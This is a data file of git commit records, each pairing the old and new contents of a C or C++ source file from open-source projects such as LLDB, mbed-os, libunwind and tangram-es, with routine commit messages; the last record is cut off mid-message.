{"commit":"60b9d099416283d5f13f19fc19a5e7c20fe012e2","old_file":"You-DataStore\/datastore.h","new_file":"You-DataStore\/datastore.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <memory>\n#include \"task_typedefs.h\"\n#include \"transaction.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests {}\n\nclass DataStore {\npublic:\n\tTransaction && begin();\n\n\t\/\/ Modifying methods\n\tvoid post(TaskId, SerializedTask&);\n\tvoid put(TaskId, SerializedTask&);\n\tvoid erase(TaskId);\n\n\tstd::vector<SerializedTask> getAllTask();\n\nprivate:\n\tstatic DataStore& get();\n\tbool isServing = false;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <memory>\n#include \"task_typedefs.h\"\n#include \"transaction.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests {}\n\nclass DataStore {\npublic:\n\tTransaction && begin();\n\n\tstatic DataStore& get();\n\n\t\/\/ Modifying methods\n\tvoid post(TaskId, SerializedTask&);\n\tvoid put(TaskId, SerializedTask&);\n\tvoid erase(TaskId);\n\n\tstd::vector<SerializedTask> getAllTask();\n\nprivate:\n\tbool isServing = false;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","subject":"Modify the instance getter of DataStore to public","message":"Modify the instance getter of DataStore to public\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"ee4c2a98030ca0aae12a474b3ebde34d5a55c53d","old_file":"libevmjit-cpp\/JitVM.h","new_file":"libevmjit-cpp\/JitVM.h","old_contents":"#pragma once\n\n#include <libevm\/VMFace.h>\n#include <evmjit\/libevmjit\/ExecutionEngine.h>\n\nnamespace dev\n{\nnamespace eth\n{\n\nclass JitVM: public VMFace\n{\npublic:\n\tvirtual bytesConstRef execImpl(u256& io_gas, ExtVMFace& _ext, OnOpFunc const& _onOp = {}, uint64_t _steps = (uint64_t)-1) override final;\n\nprivate:\n\tjit::RuntimeData m_data;\n\tjit::ExecutionEngine m_engine;\n\tstd::unique_ptr<VMFace> m_fallbackVM; \/\/\/< VM used in case of input data rejected by JIT\n};\n\n\n}\n}\n","new_contents":"#pragma once\n\n#include <libevm\/VMFace.h>\n#include <evmjit\/libevmjit\/ExecutionEngine.h>\n\nnamespace dev\n{\nnamespace eth\n{\n\nclass JitVM: public VMFace\n{\npublic:\n\tvirtual bytesConstRef execImpl(u256& io_gas, ExtVMFace& _ext, OnOpFunc const& _onOp, uint64_t _steps) override final;\n\nprivate:\n\tjit::RuntimeData m_data;\n\tjit::ExecutionEngine m_engine;\n\tstd::unique_ptr<VMFace> m_fallbackVM; \/\/\/< VM used in case of input data rejected by JIT\n};\n\n\n}\n}\n","subject":"Change the way execution results are collected.","message":"Change the way execution results are collected.\n\nChanges handling ExecutionResult by Executive. From now execution results are collected on if a storage for results (ExecutionResult) is provided to an Executiove instance up front. This change allow better output management for calls - VM interface improved.\n","lang":"C","license":"mit","repos":"ethcore\/evmjit,debris\/evmjit,ethcore\/evmjit,debris\/evmjit"}
{"commit":"42f453c38a1dd6c14aaf9cd655034d258c9ae931","old_file":"lib\/ext\/digest\/defs.h","new_file":"lib\/ext\/digest\/defs.h","old_contents":"\/* -*- C -*-\n * $Id: defs.h 11708 2007-02-12 23:01:19Z shyouhei $\n *\/\n\n#ifndef DIGEST_DEFS_H\n#define DIGEST_DEFS_H\n\n#include \"ruby.h\"\n#include <sys\/types.h>\n\n#include <sys\/cdefs.h>\n\/*\n * #if defined(HAVE_SYS_CDEFS_H)\n * # include <sys\/cdefs.h>\n * #endif\n * #if !defined(__BEGIN_DECLS)\n * # define __BEGIN_DECLS\n * # define __END_DECLS\n * #endif\n *\/\n\n#include <inttypes.h>\n\/*\n * #if defined(HAVE_INTTYPES_H)\n * # include <inttypes.h>\n * #elif !defined __CYGWIN__ || !defined __uint8_t_defined\n *   typedef unsigned char uint8_t;\n *   typedef unsigned int  uint32_t;\n * # if SIZEOF_LONG == 8\n *   typedef unsigned long uint64_t;\n * # elif SIZEOF_LONG_LONG == 8\n *   typedef unsigned LONG_LONG uint64_t;\n * # else\n * #  define NO_UINT64_T\n * # endif\n * #endif\n *\/\n\n#endif \/* DIGEST_DEFS_H *\/\n","new_contents":"\/* -*- C -*-\n * $Id: defs.h 11708 2007-02-12 23:01:19Z shyouhei $\n *\/\n\n#ifndef DIGEST_DEFS_H\n#define DIGEST_DEFS_H\n\n#include \"ruby.h\"\n#include <sys\/types.h>\n\n#include <sys\/cdefs.h>\n\/*\n * #if defined(HAVE_SYS_CDEFS_H)\n * # include <sys\/cdefs.h>\n * #endif\n * #if !defined(__BEGIN_DECLS)\n * # define __BEGIN_DECLS\n * # define __END_DECLS\n * #endif\n *\/\n\n#include <inttypes.h>\n\/*\n * #if defined(HAVE_INTTYPES_H)\n * # include <inttypes.h>\n * #elif !defined __CYGWIN__ || !defined __uint8_t_defined\n *   typedef unsigned char uint8_t;\n *   typedef unsigned int  uint32_t;\n * # if SIZEOF_LONG == 8\n *   typedef unsigned long uint64_t;\n * # elif SIZEOF_LONG_LONG == 8\n *   typedef unsigned LONG_LONG uint64_t;\n * # else\n * #  define NO_UINT64_T\n * # endif\n * #endif\n *\/\n\n\/* Define if processor uses big-endian word *\/\n\/*\n#ifdef __BIG_ENDIAN__\n#define WORDS_BIGENDIAN \n#else *\/ \/* !__BIG_ENDIAN__ *\/\n\/* #undef WORDS_BIGENDIAN *\/\n\/* #endif *\/ \/* __BIG_ENDIAN__ *\/\n\n#endif \/* DIGEST_DEFS_H *\/\n","subject":"Fix Digest failures on OSX PPC (big endian) systems","message":"Fix Digest failures on OSX PPC (big endian) systems\n\n- add some tests to defs.h to check for the existence of the __BIG_ENDIAN__\n  macro which is available on POSIX systems. If it is defined, we define the\n  WORDS_BIGENDIAN macro which is tested by the digest\/**\/*.c files to activate\n  special code for byte reordering\n\nSigned-off-by: Brian Ford <31227094f3baea959abbdb82d34f0bc93c1f3b36@engineyard.com>\n","lang":"C","license":"bsd-3-clause","repos":"heftig\/rubinius,mlarraz\/rubinius,sferik\/rubinius,lgierth\/rubinius,jemc\/rubinius,kachick\/rubinius,travis-repos\/rubinius,pH14\/rubinius,jemc\/rubinius,Wirachmat\/rubinius,ngpestelos\/rubinius,slawosz\/rubinius,Azizou\/rubinius,travis-repos\/rubinius,pH14\/rubinius,digitalextremist\/rubinius,digitalextremist\/rubinius,jemc\/rubinius,jsyeo\/rubinius,pH14\/rubinius,chad\/rubinius,sferik\/rubinius,Wirachmat\/rubinius,heftig\/rubinius,benlovell\/rubinius,Wirachmat\/rubinius,pH14\/rubinius,chad\/rubinius,benlovell\/rubinius,benlovell\/rubinius,Wirachmat\/rubinius,heftig\/rubinius,ruipserra\/rubinius,ngpestelos\/rubinius,kachick\/rubinius,dblock\/rubinius,kachick\/rubinius,chad\/rubinius,jemc\/rubinius,mlarraz\/rubinius,lgierth\/rubinius,kachick\/rubinius,slawosz\/rubinius,Wirachmat\/rubinius,sferik\/rubinius,slawosz\/rubinius,Azizou\/rubinius,ngpestelos\/rubinius,heftig\/rubinius,ngpestelos\/rubinius,sferik\/rubinius,benlovell\/rubinius,kachick\/rubinius,mlarraz\/rubinius,digitalextremist\/rubinius,chad\/rubinius,slawosz\/rubinius,dblock\/rubinius,ruipserra\/rubinius,slawosz\/rubinius,kachick\/rubinius,ruipserra\/rubinius,kachick\/rubinius,jsyeo\/rubinius,benlovell\/rubinius,dblock\/rubinius,dblock\/rubinius,digitalextremist\/rubinius,chad\/rubinius,lgierth\/rubinius,pH14\/rubinius,dblock\/rubinius,chad\/rubinius,chad\/rubinius,mlarraz\/rubinius,lgierth\/rubinius,lgierth\/rubinius,digitalextremist\/rubinius,travis-repos\/rubinius,Wirachmat\/rubinius,benlovell\/rubinius,jemc\/rubinius,jsyeo\/rubinius,jemc\/rubinius,lgierth\/rubinius,heftig\/rubinius,sferik\/rubinius,jemc\/rubinius,chad\/rubinius,travis-repos\/rubinius,Azizou\/rubinius,jsyeo\/rubinius,dblock\/rubinius,mlarraz\/rubinius,jsyeo\/rubinius,Azizou\/rubinius,ruipserra\/rubinius,chad\/rubinius,lgierth\/rubinius,slawosz\/rubinius,sferik\/rubinius,mlarraz\/rubinius,ngpestelos\/rubinius,travis-repos\/rubinius,ruipserra\/rubinius,Azizou\/rubinius,Azizou\/rubinius,benlovell\/rubinius,digitalextremist\/rubinius,ngpestelos\/rubinius,sferik\/rubinius,ruipserra\/rubinius,travis-repos\/rubinius,ruipserra\/rubinius,Azizou\/rubinius,heftig\/rubinius,slawosz\/rubinius,mlarraz\/rubinius,travis-repos\/rubinius,heftig\/rubinius,kachick\/rubinius,digitalextremist\/rubinius,jsyeo\/rubinius,dblock\/rubinius,ngpestelos\/rubinius,pH14\/rubinius,jsyeo\/rubinius,chad\/rubinius,pH14\/rubinius,Wirachmat\/rubinius"}
{"commit":"74de5774f6ac0458a72e7dac54df6b014a05490a","old_file":"core\/src\/platform.h","new_file":"core\/src\/platform.h","old_contents":"#pragma once\n\n#ifdef PLATFORM_ANDROID\nstruct _JNIEnv;\ntypedef _JNIEnv JNIEnv;\nclass _jobject;\ntypedef _jobject* jobject;\nvoid jniInit(JNIEnv* _jniEnv, jobject obj, jobject _assetManager);\n#endif\n\n#if (defined PLATFORM_IOS) && (defined __OBJC__)\n#import \"ViewController.h\"\nvoid setViewController(ViewController* _controller);\n#endif\n\n#include <string>\n\n\/* Print a formatted message to the console\n *\n * Uses printf syntax to write a string to stderr (or logcat, on Android)\n *\/\nvoid logMsg(const char* fmt, ...);\n\n\/* Request that a new frame be rendered by the windowing system\n *\/\nvoid requestRender();\n\n\/* Read a bundled resource file as a string\n * \n * Opens the file at the given relative path and returns a string with its contents.\n * _path is the location of the file within the core\/resources folder. If the file\n * cannot be found or read, the returned string is empty. \n *\/\nstd::string stringFromResource(const char* _path);\n\n\/* Read and allocates size bytes of memory  \n *\n * Similarly to stringFromResource, _path is the location of file within \n * core\/resources. If the file cannot be read nothing is allocated and \n * a nullptr is returned.\n * _size is is an in\/out parameter to retrieve the size in bytes of the \n * allocated file\n *\/ \nunsigned char* bytesFromResource(const char* _path, unsigned int* _size);\n","new_contents":"#pragma once\n\n#ifdef PLATFORM_ANDROID\nstruct _JNIEnv;\ntypedef _JNIEnv JNIEnv;\nclass _jobject;\ntypedef _jobject* jobject;\nvoid jniInit(JNIEnv* _jniEnv, jobject obj, jobject _assetManager);\n#endif\n\n#if (defined PLATFORM_IOS) && (defined __OBJC__)\n#import \"ViewController.h\"\nvoid setViewController(ViewController* _controller);\n#endif\n\n#include <string>\n\n\/* Print a formatted message to the console\n *\n * Uses printf syntax to write a string to stderr (or logcat, on Android)\n *\/\nvoid logMsg(const char* fmt, ...);\n\n\/* Request that a new frame be rendered by the windowing system\n *\/\nvoid requestRender();\n\n\/* If called with 'true', the windowing system will re-draw frames continuously;\n * otherwise new frames will only be drawn when 'requestRender' is called. \n *\/\nvoid setContinuousRendering(bool _isContinuous);\n\nbool isContinuousRendering();\n\n\/* Read a bundled resource file as a string\n * \n * Opens the file at the given relative path and returns a string with its contents.\n * _path is the location of the file within the core\/resources folder. If the file\n * cannot be found or read, the returned string is empty. \n *\/\nstd::string stringFromResource(const char* _path);\n\n\/* Read and allocates size bytes of memory  \n *\n * Similarly to stringFromResource, _path is the location of file within \n * core\/resources. If the file cannot be read nothing is allocated and \n * a nullptr is returned.\n * _size is is an in\/out parameter to retrieve the size in bytes of the \n * allocated file\n *\/ \nunsigned char* bytesFromResource(const char* _path, unsigned int* _size);\n","subject":"Add headers for setting and getting continuous rendering state","message":"Add headers for setting and getting continuous rendering state\n","lang":"C","license":"mit","repos":"tangrams\/tangram-es,xvilan\/tangram-es,cleeus\/tangram-es,cleeus\/tangram-es,hjanetzek\/tangram-es,karimnaaji\/tangram-es,hjanetzek\/tangram-es,xvilan\/tangram-es,tangrams\/tangram-es,tangrams\/tangram-es,quitejonny\/tangram-es,quitejonny\/tangram-es,quitejonny\/tangram-es,quitejonny\/tangram-es,tangrams\/tangram-es,karimnaaji\/tangram-es,cleeus\/tangram-es,karimnaaji\/tangram-es,quitejonny\/tangram-es,tangrams\/tangram-es,xvilan\/tangram-es,quitejonny\/tangram-es,cleeus\/tangram-es,karimnaaji\/tangram-es,xvilan\/tangram-es,hjanetzek\/tangram-es,cleeus\/tangram-es,tangrams\/tangram-es,hjanetzek\/tangram-es,cleeus\/tangram-es,tangrams\/tangram-es"}
{"commit":"e86ec93def569ec100bcbca7e9f1952e64a0851d","old_file":"inc\/libutils\/io\/system_log.h","new_file":"inc\/libutils\/io\/system_log.h","old_contents":"\/*\n * system_log.h\n *\n * Author: Ming Tsang\n * Copyright (c) 2014 Ming Tsang\n * Refer to LICENSE for details\n *\/\n\n#pragma once\n\n#include \"libutils\/io\/logger.h\"\n#include \"libutils\/misc\/singleton.h\"\n\nnamespace libutils\n{\nnamespace io\n{\n\n\/**\n * The default system logger\n *\/\ntemplate<typename CharT>\nclass SystemLog : public misc::Singleton<Logger<CharT>, SystemLog<CharT>>\n{};\n\n}\n}\n","new_contents":"\/*\n * system_log.h\n *\n * Author: Ming Tsang\n * Copyright (c) 2014 Ming Tsang\n * Refer to LICENSE for details\n *\/\n\n#pragma once\n\n#include \"libutils\/misc\/singleton.h\"\n\nnamespace libutils\n{\nnamespace io\n{\n\ntemplate<typename T> class Logger;\n\n}\n}\n\nnamespace libutils\n{\nnamespace io\n{\n\n\/**\n * The default system logger\n *\/\ntemplate<typename CharT>\nclass SystemLog : public misc::Singleton<Logger<CharT>, SystemLog<CharT>>\n{};\n\n}\n}\n\n#include \"libutils\/io\/logger.h\"\n","subject":"Include logger.h later to prevent using SystemLog before definition","message":"Include logger.h later to prevent using SystemLog before definition","lang":"C","license":"mit","repos":"nkming2\/libutils,nkming2\/libutils,nkming2\/libutils,nkming2\/libutils,nkming2\/libutils,nkming2\/libutils"}
{"commit":"768df6b3adad4557b81749e18c06c56c0a0c53fb","old_file":"GTMAppAuth\/Sources\/Public\/GTMAppAuth\/GTMAppAuth.h","new_file":"GTMAppAuth\/Sources\/Public\/GTMAppAuth\/GTMAppAuth.h","old_contents":"\/*! @file GTMAppAuth.h\n    @brief GTMAppAuth SDK\n    @copyright\n        Copyright 2016 Google Inc.\n    @copydetails\n        Licensed under the Apache License, Version 2.0 (the \"License\");\n        you may not use this file except in compliance with the License.\n        You may obtain a copy of the License at\n\n        http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n        Unless required by applicable law or agreed to in writing, software\n        distributed under the License is distributed on an \"AS IS\" BASIS,\n        WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n        See the License for the specific language governing permissions and\n        limitations under the License.\n *\/\n\n#import \"GTMAppAuthFetcherAuthorization.h\"\n#import \"GTMAppAuthFetcherAuthorization+Keychain.h\"\n\n#if TARGET_OS_TV\n#elif TARGET_OS_WATCH\n#elif TARGET_OS_IOS\n#import \"GTMOAuth2KeychainCompatibility.h\"\n#elif TARGET_OS_MAC\n#import \"GTMOAuth2KeychainCompatibility.h\"\n#else\n#warn \"Platform Undefined\"\n#endif\n","new_contents":"\/*! @file GTMAppAuth.h\n    @brief GTMAppAuth SDK\n    @copyright\n        Copyright 2016 Google Inc.\n    @copydetails\n        Licensed under the Apache License, Version 2.0 (the \"License\");\n        you may not use this file except in compliance with the License.\n        You may obtain a copy of the License at\n\n        http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n        Unless required by applicable law or agreed to in writing, software\n        distributed under the License is distributed on an \"AS IS\" BASIS,\n        WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n        See the License for the specific language governing permissions and\n        limitations under the License.\n *\/\n\n#import \"GTMAppAuthFetcherAuthorization.h\"\n#import \"GTMAppAuthFetcherAuthorization+Keychain.h\"\n#import \"GTMKeychain.h\"\n\n#if TARGET_OS_TV\n#elif TARGET_OS_WATCH\n#elif TARGET_OS_IOS\n#import \"GTMOAuth2KeychainCompatibility.h\"\n#elif TARGET_OS_MAC\n#import \"GTMOAuth2KeychainCompatibility.h\"\n#else\n#warn \"Platform Undefined\"\n#endif\n","subject":"Add GTMKeychain.h to umbrella header","message":"Add GTMKeychain.h to umbrella header\n\nThis is required for Xcode 12.5 and Swift Package Manager. Verified locally that this fix resolves the issue.","lang":"C","license":"apache-2.0","repos":"google\/GTMAppAuth,google\/GTMAppAuth"}
{"commit":"d11d5a161003ccb024927fff5c620eb7515716fc","old_file":"source\/Plugins\/Process\/Windows\/Common\/NativeRegisterContextWindows.h","new_file":"source\/Plugins\/Process\/Windows\/Common\/NativeRegisterContextWindows.h","old_contents":"\/\/===-- NativeRegisterContextWindows.h --------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n\/\/ See https:\/\/llvm.org\/LICENSE.txt for license information.\n\/\/ SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef liblldb_NativeRegisterContextWindows_h_\n#define liblldb_NativeRegisterContextWindows_h_\n\n#include \"Plugins\/Process\/Utility\/NativeRegisterContextRegisterInfo.h\"\n#include \"lldb\/Host\/common\/NativeThreadProtocol.h\"\n#include \"lldb\/Utility\/DataBufferHeap.h\"\n\nnamespace lldb_private {\n\nclass NativeThreadWindows;\n\nclass NativeRegisterContextWindows : public NativeRegisterContextRegisterInfo {\npublic:\n  NativeRegisterContextWindows::NativeRegisterContextWindows(\n      NativeThreadProtocol &native_thread,\n      RegisterInfoInterface *reg_info_interface_p);\n\n  static std::unique_ptr<NativeRegisterContextWindows>\n  CreateHostNativeRegisterContextWindows(const ArchSpec &target_arch,\n                                         NativeThreadProtocol &native_thread);\n\nprotected:\n  lldb::thread_t GetThreadHandle() const;\n};\n\n} \/\/ namespace lldb_private\n\n#endif \/\/ liblldb_NativeRegisterContextWindows_h_\n","new_contents":"\/\/===-- NativeRegisterContextWindows.h --------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n\/\/ See https:\/\/llvm.org\/LICENSE.txt for license information.\n\/\/ SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef liblldb_NativeRegisterContextWindows_h_\n#define liblldb_NativeRegisterContextWindows_h_\n\n#include \"Plugins\/Process\/Utility\/NativeRegisterContextRegisterInfo.h\"\n#include \"lldb\/Host\/common\/NativeThreadProtocol.h\"\n#include \"lldb\/Utility\/DataBufferHeap.h\"\n\nnamespace lldb_private {\n\nclass NativeThreadWindows;\n\nclass NativeRegisterContextWindows : public NativeRegisterContextRegisterInfo {\npublic:\n  NativeRegisterContextWindows(\n      NativeThreadProtocol &native_thread,\n      RegisterInfoInterface *reg_info_interface_p);\n\n  static std::unique_ptr<NativeRegisterContextWindows>\n  CreateHostNativeRegisterContextWindows(const ArchSpec &target_arch,\n                                         NativeThreadProtocol &native_thread);\n\nprotected:\n  lldb::thread_t GetThreadHandle() const;\n};\n\n} \/\/ namespace lldb_private\n\n#endif \/\/ liblldb_NativeRegisterContextWindows_h_\n","subject":"Fix compilation for MinGW, remove redundant class name on inline member","message":"[LLDB] Fix compilation for MinGW, remove redundant class name on inline member\n\nThis fixes build errors like these:\n\nNativeRegisterContextWindows.h:22:33: error: extra qualification on member 'NativeRegisterContextWindows'\n  NativeRegisterContextWindows::NativeRegisterContextWindows(\n  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^\n\nDifferential Revision: https:\/\/reviews.llvm.org\/D67856\n\ngit-svn-id: 4c4cc70b1ef44ba2b7963015e681894188cea27e@372482 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,llvm-mirror\/lldb"}
{"commit":"8c1f6397bf58de0676cd2ef0a59d2cd0debd3c60","old_file":"lib\/src\/models\/post-filter.h","new_file":"lib\/src\/models\/post-filter.h","old_contents":"#ifndef POST_FILTER_H\n#define POST_FILTER_H\n\n#include <QString>\n#include <QStringList>\n#include <QMap>\n#include \"loader\/token.h\"\n\n\nclass PostFilter\n{\n\tpublic:\n\t\tstatic QStringList filter(const QMap<QString, Token> &tokens, const QStringList &filters);\n\t\tstatic QStringList blacklisted(const QMap<QString, Token> &tokens, const QStringList &blacklistedTags, bool invert = true);\n\n\tprotected:\n\t\tstatic QString match(const QMap<QString, Token> &tokens, QString filter, bool invert = false);\n};\n\n#endif \/\/ POST_FILTER_H\n","new_contents":"#ifndef POST_FILTER_H\n#define POST_FILTER_H\n\n#include <QString>\n#include <QStringList>\n#include <QMap>\n#include \"loader\/token.h\"\n\n\nclass PostFilter\n{\n\tpublic:\n\t\tstatic QStringList filter(const QMap<QString, Token> &tokens, const QStringList &filters);\n\t\tstatic QStringList blacklisted(const QMap<QString, Token> &tokens, const QStringList &blacklistedTags, bool invert = true);\n\t\tstatic QString match(const QMap<QString, Token> &tokens, QString filter, bool invert = false);\n};\n\n#endif \/\/ POST_FILTER_H\n","subject":"Fix tests broken by new PostFilter class","message":"Fix tests broken by new PostFilter class\n","lang":"C","license":"apache-2.0","repos":"Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber"}
{"commit":"83c438405367324e00e15d39f7ee82e2f467f2f6","old_file":"config.def.h","new_file":"config.def.h","old_contents":"\/* See LICENSE file for copyright and license details. *\/\n\n\/* Notification, remove DNOTIFY in config.mk if you don't want it *\/\nstatic char *notifycmd = \"\"; \/* Uses given command if not compiled by DNOTIFY *\/\nstatic char *notifyext = \"\"; \/* Notify with extra command (eg. play an alarm) *\/\n\n\/*\n * This is the array which defines all the timer that will be used.\n * It will be repeated after all of it is executed.\n *\/\nstatic Timers timers[] = {\n\t\/* timer(s)  comment *\/\n\t{     1500,  \"Time to start working!\"},\n\t{      300,  \"Time to start resting!\"},\n\t{     1500,  \"Time to start working!\"},\n\t{      300,  \"Time to start resting!\"},\n\t{     1500,  \"Time to start working!\"},\n\t{      300,  \"Time to start resting!\"},\n\t{     1500,  \"Time to start working!\"},\n\t{      300,  \"Time to start resting!\"},\n\t{      900,  \"Time to take some nap!\"},\n};\n","new_contents":"\/* See LICENSE file for copyright and license details. *\/\n\n\/* Notification, remove DNOTIFY in config.mk if you don't want it *\/\nstatic char *notifycmd = \"\"; \/* Uses given command if not compiled by DNOTIFY *\/\nstatic char *notifyext = \"\"; \/* Notify with extra command (eg. play an alarm) *\/\n\n\/*\n * This is the array which defines all the timer that will be used.\n * It will be repeated after all of it is executed.\n *\/\nstatic Timers timers[] = {\n\t\/* timer(s)  comment *\/\n\t{     1500,  \"Time to start working!\"},\n\t{      300,  \"Time to start resting!\"},\n\t{     1500,  \"Time to start working!\"},\n\t{      300,  \"Time to start resting!\"},\n\t{     1500,  \"Time to start working!\"},\n\t{      300,  \"Time to start resting!\"},\n\t{     1500,  \"Time to start working!\"},\n\t{      300,  \"Time to start resting!\"},\n\t{      900,  \"Time to take a nap!\"   },\n};\n","subject":"Make a small grammar fix","message":"Make a small grammar fix","lang":"C","license":"isc","repos":"pickfire\/spt,pickfire\/spt"}
{"commit":"a7634a1e5a46e1cbcef577a2cb850cdf00ad63bc","old_file":"features\/frameworks\/nanostack-libservice\/mbed-client-libservice\/ns_trace.h","new_file":"features\/frameworks\/nanostack-libservice\/mbed-client-libservice\/ns_trace.h","old_contents":"\/*\n * Copyright (c) 2015-2017 ARM Limited. All rights reserved.\n * SPDX-License-Identifier: Apache-2.0\n * Licensed under the Apache License, Version 2.0 (the License); you may\n * not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an AS IS BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/**\n * \\file ns_trace.h\n * Trace interface abstraction for NanoStack library as well as application.\n *\n * Actual used trace library is mbed-trace. For usage details check mbed_trace.h.\n *\n *\/\n#ifndef NS_TRACE_H_\n#define NS_TRACE_H_\n\n#if defined(HAVE_DEBUG) && !defined(FEA_TRACE_SUPPORT)\n#define FEA_TRACE_SUPPORT\n#endif\n\n#include \"mbed-trace\/mbed_trace.h\"\n\n#endif \/* NS_TRACE_H_ *\/\n","new_contents":"\/*\n * Copyright (c) 2015-2017 ARM Limited. All rights reserved.\n * SPDX-License-Identifier: Apache-2.0\n * Licensed under the Apache License, Version 2.0 (the License); you may\n * not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an AS IS BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/**\n * \\file ns_trace.h\n * Trace interface abstraction for NanoStack library as well as application.\n *\n * Actual used trace library is mbed-trace. For usage details check mbed_trace.h.\n *\n *\/\n#ifndef NS_TRACE_H_\n#define NS_TRACE_H_\n\n#if defined(HAVE_DEBUG) && !defined(FEA_TRACE_SUPPORT)\n#define FEA_TRACE_SUPPORT\n#endif\n\n#include \"ns_types.h\"\n#include \"mbed-trace\/mbed_trace.h\"\n\n#endif \/* NS_TRACE_H_ *\/\n","subject":"Include ns_types.h before mbed_trace.h in Nanomesh","message":"Include ns_types.h before mbed_trace.h in Nanomesh\n","lang":"C","license":"apache-2.0","repos":"andcor02\/mbed-os,andcor02\/mbed-os,kjbracey-arm\/mbed,mbedmicro\/mbed,andcor02\/mbed-os,mbedmicro\/mbed,mbedmicro\/mbed,andcor02\/mbed-os,mbedmicro\/mbed,mbedmicro\/mbed,andcor02\/mbed-os,andcor02\/mbed-os,kjbracey-arm\/mbed,kjbracey-arm\/mbed,kjbracey-arm\/mbed"}
{"commit":"63a539999d8b712c5f975d400c33be20944bde23","old_file":"src\/x86\/Gregs-x86.c","new_file":"src\/x86\/Gregs-x86.c","old_contents":"","new_contents":"\/* libunwind - a platform-independent unwind library\n   Copyright (C) 2002 Hewlett-Packard Co\n\tContributed by David Mosberger-Tang <davidm@hpl.hp.com>\n\nThis file is part of libunwind.\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and\/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\nLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.  *\/\n\n#include \"unwind_i.h\"\n\nHIDDEN int\nx86_access_reg (struct cursor *c, unw_regnum_t reg, unw_word_t *valp,\n\t\tint write)\n{\n  struct x86_loc loc = X86_LOC (0, 0);\n\n  switch (reg)\n    {\n    case UNW_X86_EIP:\n      if (write)\n\tc->eip = *valp;\t\t\/* also update the EIP cache *\/\n      loc = c->eip_loc;\n      break;\n\n    case UNW_X86_ESP:\n      if (write)\n\treturn -UNW_EREADONLYREG;\n      *valp = c->esp;\n      return 0;\n\n    default:\n      debug (1, \"%s: bad register number %u\\n\", __FUNCTION__, reg);\n      return -UNW_EBADREG;\n    }\n\n  if (write)\n    return x86_put (c, loc, *valp);\n  else\n    return x86_get (c, loc, valp);\n}\n","subject":"Add a debug statement so accesses to bad register numbers can be seen with debugging enabled.","message":"(x86_access_reg): Add a debug statement so accesses to bad register numbers\n\tcan be seen with debugging enabled.\n\n(Logical change 